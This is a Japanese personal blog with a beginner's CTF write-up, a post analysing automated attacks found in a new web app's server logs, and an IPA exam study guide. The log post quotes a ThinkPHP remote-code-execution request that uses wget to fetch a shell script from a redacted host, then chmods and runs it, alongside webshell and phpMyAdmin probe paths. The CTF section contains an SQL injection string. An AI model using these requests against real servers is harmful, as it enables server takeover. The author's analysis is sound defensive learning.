SECCON Beginners CTF 2019 Write-up
tl; dr
- チームconbuで部活のCTF班の後輩たちと出ました
- チーム順位180位,得点数510pt
- 個人順位190位,得点数510pt
- Web解けないのマジでWeb屋やめろ
Web - [warmup] Ramen
提示されたWebサイトの下の方にGETリクエストを送ってるフォームがある。
SQLを発行しているっぽいのでa' 1 = 1 --
とか入れると全部出てくるのでSQLiが効くっぽい。
これ以上何もわからんかった。Web屋やめま〜す
Web - katsudon
店舗一覧に
BAhJIhByZWl3YWhhbnRlbgY6BkVU--bc5614afcef948624ebc137432c2dcdc624111b6 BAhJIhNoZWlzZWlzaG9rdWRvdQY6BkVU--f9aa81191fb073fb87bfa71b20c02bf3a30d1b10 BAhJIhRyZXN0YXVyYW50c2hvd2EGOgZFVA==--a78497e11151cffc45af945a1a243138b6084140
の3つのシリアルコードがある。
問題文で提示されていたコードにRails.application.message_verifier
とあり,Railsの標準機能っぽいので調べてみると,文字列をbase64でエンコードしたものとsha1でハッシュしたものを--
でつないで出力したりするらしい。
実際に--
の前をbase64でデコードしてみるとreiwahanten
とかheiseishokudou
とかが出てきます。
フラグはBAhJIiVjdGY0YntLMzNQX1kwVVJfNTNDUjM3X0szWV9CNDUzfQY6BkVU--0def7fcd357f759fe8da819edd081a3a73b6052a
として与えられていたので,これも同じようにbase64でデコードすると
ctf4b{K33P_Y0UR_53CR37_K3Y_B453}
Reversing - [warmup] Seccompare
圧縮ファイルが与えられるので解凍する。
2つファイルが出てくるが片方はMacOSの何かっぽいので無視して実行ファイルをltrace
してみる。
ctf4b{5tr1ngs_1s_n0t_en0ugh}
Reversing - leakage
圧縮ファイルを解凍して実行ファイルを動かしてみる。
何もわからんのでgdbで動かしながらいろいろ探ってみると,まずstrlen
の結果が34であるかどうかみたいなところを見ているので,フラグは34文字っぽい。
適当な34文字の文字列を与えて実行してみると,どうもis_correct
という関数内でループさせながら1文字ずつASCIIコードと比較してるっぽい。
convert
関数がASCIIコードを吐いてるっぽいができれば読みたくないのでとりあえずブレークポイントを貼って,レジスタの中身を見てみると,この後のcmp %al,-0x5(%rbp)
でn文字目とASCIIコードを照合していることがわかる。
あとは根気よく1文字ずつ照合しながらgdbで処理を追ってみると答えが出てくる。
ctf4b{le4k1ng_th3_f1ag_0ne_by_0ne}
Crypto - [warmup] So Tired
圧縮ファイルを解凍するとencrypted.txtが出てくる。やたら長いなと思いながら末尾を見てみると==
とか付いてるのでどうもbase64っぽい。
$ base64 -d encrypted.txt > decoded $ file decoded
としてみるとzlib compressed fileと言われたので,pythonで以下のようにファイルを解凍するコードを書いた。
import zlib import_data = open("decoded", "rb").read() decompress_data = zlib.decompress(import_data) output = open("output", "wb") output.write(decompress_data)
これを実行すると,出てきたoutput
ファイルはまたbase64でエンコードされているっぽい。
一瞬脳味噌がバグったけど冷静にdiff encrypted.txt output
してみると出力があるので,違うものになってるっぽい。多分何度も何度も圧縮してはエンコードしてを繰り返してる。
#!/bin/sh while [ TRUE ] do python ../zlibdec.py base64 -d output > decoded done
とか書いてエラーが出たら手動で止める脳筋プレイをしました。output
を見てみると,
ctf4b{very_l0ng_l0ng_BASE64_3nc0ding}
終わり。
Misc - [warmup] Welcome
言われた通りにやるだけ。フラグは忘れました。
Misc - containers
与えられたファイルはfile
コマンドでは判別不可能。hexdump
で中を見てみると,PNG
とかFILE X
とかが続いているので,複数のPNGファイルが一つのファイルとしてまとめられているっぽい。
圧縮とかされてたら完全にわからん終わりと思ったけど一番下にはpythonのスクリプトがべたーと貼ってあるのでそういう感じではなさそう。
脳味噌ゼロなのでvimを使ってひとつひとつファイルを取り出してみると,37個のpngファイルに1文字ずつアルファベットが書かれている。順番にctf4b{
と始まっていたがその後は全部謎の16進数っぽい。
Pythonのスクリプトに入れて動かしてみてもwrongとか言われちゃうし何もわからん。
総評
今まで出たCTFの大会では一番たくさん解けた(今までが解けなさすぎたので)。
pwnとか何百回やっても解ける気しないし勉強不足です。
余談ですが,この前日・前々日に「ハロー、『Hello, world』」という本を読んでgdbの使い方に慣れたり知らないアセンブリの記法を勉強したりしてました。
唐突にLinuxカーネルを読まされたりはしますが普通に面白いし,何もわからなくても手を動かすことで学べることはたくさんあるので良い本だと思います。おすすめです。
部活のチームで出たのに一人で解いてしまいました。
まあメンバーみんなガチ初心者だったので仕方ないかなと思っています。チーム全体としてもぼく個人としてももっと勉強しないとな〜
Webアプリを公開したら攻撃を受けた話
TL;dr
- Webやるならセキュリティの勉強をしろ
- サーバのログは保存しよう
- WordPressは狙われやすいので気をつけて扱う
Webアプリをデプロイした
2月に福井県で行われたハッカソンに出たときのプロダクトが動くようになったので公開しました。
ハッカソンの詳細は以下記事から↓
公開したアプリは「観光地などでどこに行って良いかわからないときに他人の足あとを参考にできればいいよね」というので,以下から実際に使うことができます。
アプリの構成
ざっくり書くと,VPS上にDockerでGolangとMySQLのコンテナを立てています。
バックエンドの一部とフロントエンドのデザイン,CSS,一部スクリプトを担当しました。
サーバが攻撃を受けた
寝て起きたらアプリにバグが見つかったので修正ついでにログを眺めてみました。
思ったよりアクセスされていてうおーすごいと思いながらログを遡っていたら突然大量の404が吐かれている部分を発見。
大体こんな感じ。
404 GET /payload.php 404 GET /images/!.php 404 POST /9678.php 404 POST /db.init.php 404 POST /wp-admins.php 404 POST /m.php?pbid=open
途中にxiao.php
だとかzuoshou.php
とかへのアクセスがあったのを見る限り中国からの攻撃なのかな?
ほとんどの攻撃が同じIPアドレスからでしたが,一部別のIPアドレスからの攻撃も混ざっていました。
個別の攻撃をちょっと詳しく調べてみた
1. POST /wp-content/plugins/fAaWBH.php
WordPressの特定のプラグインの脆弱性を利用した攻撃なのかな?と思ったらそうではなかった。
プラグインにアクセスしているのであれば/wp-content/[プラグイン名]
となるらしいです。
調べてみるとWebShellが存在するか確認している攻撃の一種らしいです。
WebShellというのはWeb上からサーバのシェルにコードを送り込むためのエンドポイントみたいなやつで,他の攻撃者がこれをサイト上に設置していた場合いろいろな攻撃者からこのWebShellを通してサーバに攻撃が飛んでくるというわけです。怖い。
リクエストボディには特に意味のないコードが仕込まれているらしく,その実行結果が正しく返ってきたらWebShellが設置されているということで次の攻撃が掛かってくるみたいな仕組みらしい。
WebShellなるものの存在を初めて知ったので今度実験してみようと思います。
2. POST /index.php?s=captcha
一連の攻撃が全てリクエスト先がphpファイルだった辺りWordPressのサイトを標的にした攻撃っぽい…と思ったらそうではないらしい。
調べてみると,ThinkPHPの脆弱性を利用した攻撃ということがわかりました。
ThinkPHPというのは中国で人気のある(あった?)フレームワークで,調べてみると任意のコードが実行できる脆弱性が一時騒動になったらしいです。なるほど。
個人的に「フレームワークを使っていれば大抵の脆弱性は防げる」みたいな気持ちがあったのでちょっと驚いてしまった。セキュリティはいつでも意識しておかなければいけません。
3. GET /phpMyAdmin/index.php
やたらいろいろなパスでphpMyAdminへのアクセスを試していました。
/pmd/index.php
とか,/pma2/index.php
とか,db/index.php
,/admin/pma/index.php
,/mysql-admin/index.php
とかとか。
これについては特に書くこともありませんが,MySQLのWebUIへの接続を試みています。
フォロワーさんが教えてくれた記事にこの攻撃を詳しく解析してみた話が載っていたので紹介しておきます。
4. GET /index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]=wget%20http://[IPアドレス]/a_thk/sh%20-O%20/tmp/a;%20chmod%200777%20/tmp/a;%20/tmp/a;
クエリの様子からも分かる通りこれも2番目のものと同じようにThinkPHPの脆弱性を利用した攻撃。URLのIPアドレスは伏せました。
中をなんとなく読んでみると,あるサーバのファイルをダウンロードして実行権限を付け,実行する…みたいなコードっぽい?
それにしてもGETリクエストからshell_execとか呼べるってどんな脆弱性だよ酷すぎるだろ。
5. GET /index.action
これはApache Struts2の脆弱性S2-045(CVE-2017-5638)を利用した攻撃とのことで,任意のコードが実行可能な脆弱性らしいです。厳しい。
似たような攻撃にGET /index.doというリクエストがありましたが,これも同じものっぽい。
まとめ
実際にサーバを公開してログを取ってみないと得られない経験をしました。確かにググれば出てくることではあるけど一瞬ちょっとビビった。
今回は全部自動のスクリプトによる無差別攻撃だった(多分)ので良かったけど自分のサーバが狙われたらと思うと怖いですね。
今回の開発にはチームの方の提案でDockerを使っていたのですが,適切にアプリケーションをコンテナ化すると使いやすいだけでなく万が一攻撃を受けたときの被害をコンテナの中だけに抑えられるので嬉しい気がします。
また,WordPressをアルバイトで扱っていたことがあるので「脆弱性が多くて攻撃を受けやすいので良くない」というのは聞いたことがあったのですが,実際にこうWordPressを標的にした攻撃を目の当たりにすると実感が湧きますね。
あとこれを思い出しました。
ともあれローカルで動かしていては絶対にこういった経験はできないので,Web開発をしている人は実際にデプロイしてみるとまた新しい発見があるかもしれません。
参考リンク
ハニーポット観察記録(37)「WebShellの探索」 at www.morihi-soc.net
ハニーポットのログ分析(2019/02/21) - S-Owl
1週間で受かる!(基本|応用)情報技術者試験
TL;dr
Twitterやってるような人間はなんとなくやれば受かるから取り敢えず過去問解け
この記事はIPA試験を真面目に受けることができない人間の合格体験談です。本来は1ヶ月程度の時間を掛けてじっくり対策をすることが望ましく,この通りに勉強すれば誰でも合格するという保証をするものではありません。非推奨です。
はじめに
春のIPA試験まで1ヶ月を切りTwitterもIPA試験の勉強をしたいがやる気にならない人で賑わいを見せています。
ぼくは2018年春に基本,同年秋に応用情報技術者を取得しましたが,基本は1週間,応用は2日の勉強で受験してなんとか合格したので,合格体験談(笑)みたいなものを書いておこうかと思います。
ところでこれは当たり前の話なのですが,これからIPA試験を受ける皆さんは絶対に3日前まで勉強をしないとかそんな怠慢は辞めましょう。受験料払ってるんだからちゃんと勉強して合格しようね。
基本情報技術者試験
TL;dr
- 参考書をなんとなく読む
- 午前過去問だけやっとけばどうにかなる
詳しく
ぼくは高専の制御情報工学科に通っていますが,1年次の必修科目だった「情報リテラシー」にてITパスポートのテクノロジ系の範囲を学習していました。
また,3年次までの科目で論理回路や集合論,ソートアルゴリズム,探索アルゴリズムなどについては触れていたため,基本的にはストラテジ・マネジメント系を重点的に対策しました。
勉強法についてですが,割と真面目に(1週間前から)やりました。
数年前に買っていた参考書があったので引っ張り出してきて全ページに目を通しました。当然自明だなと思う部分があるのでそこは飛ばして,「これはわからないかもしれない」という部分を紙に写経しました。
その後,過去問道場でひたすら過去問を解きました。解く問題は直近3~4回のものを繰り返しておけば良さそうです。80%ぐらいあれば余裕だと思います。
インターネットでやれ難関だ対策が必要だ何だと評判の午後試験ですが,午前試験の内容をちゃんと理解していれば特に難関でも対策が必要でもないです。所詮は文章題だし選択式。
ただし文章読解が壊滅的に無理である自覚のある方は文章題に慣れる練習ぐらいはしておきましょう。
ぼくは午後問に目すら通さず望みましたが結局午前試験より午後試験のほうが得点高かったです。
応用情報技術者試験
TL;dr
- 参考書を捲る
- 午前試験の過去問をひたすら解く
- 余力があるなら午後試験の対策(狙っている選択分野について深く勉強)
詳しく
高専プロコンの準備をしていたら2日前になっていたので死ぬ気で勉強しました。
取り敢えず図書館で数年前の参考書を1冊借りましたがほぼ開きませんでした(厚くて重いので)。
とにかく常に過去問(過去3,4回分)を解いていました。事前勉強を一切せずひたすら過去問を解きました。過去問道場は偉大。
最初の頃は正答率が40%ぐらいだったのが70%と少しになるぐらいまでひたすら過去問を周回しました。
過去問を解いていて何だお前と思った部分は調べたり解説を見て理解する,あとはひたすら解きます。
気付いたら当日になっていたので直前はなんとなく参考書を捲って心を落ち着かせていましたが不安になるばかりでした。
確実に6割取れてるなというのが確認できたところで早めに退室して初めて午後問の形式を見ました。急いでご飯を食べて選択問題でどれを選ぶか当たりを付けつつ集中的に参考書を読みました。
応用情報の午後問は基本情報と違って記述があるのでちゃんと対策をしたほうが良いです。ただ分野が選択できるので,分野によっては自明しかないな大丈夫かこの問題となったりもします。
基本的には得意分野で満点近い得点ができれば苦手なところは半分ぐらい当てれば大丈夫なので,得意分野で殴る感じが良いと思います。
特にセキュリティとかソフトウェア開発,アルゴリズム辺りはTwitterで毎日技術の話をしているような人間なら簡単に思えるかと思います。Linuxコマンドの話とかCIの話とかが出ました。
対策をするとすれば参考書の狙っている分野のところを写経すれば十分だと思います。
まとめ
直前に勉強しても合格はできますが真面目に対策した方が身に付くので良いです。
ただし受験1週間前になって「基本情報 直前」とかを調べ
「直前1ヶ月でも大丈夫じゃねえんだよ俺はもう1週間切ってんだよ!!!!!助けてくれ!!!!!」
と絶望することはありません。君ならできる。1週間前でも2日前でも大丈夫。
この記事を読んでいるあなたの健闘を祈ります。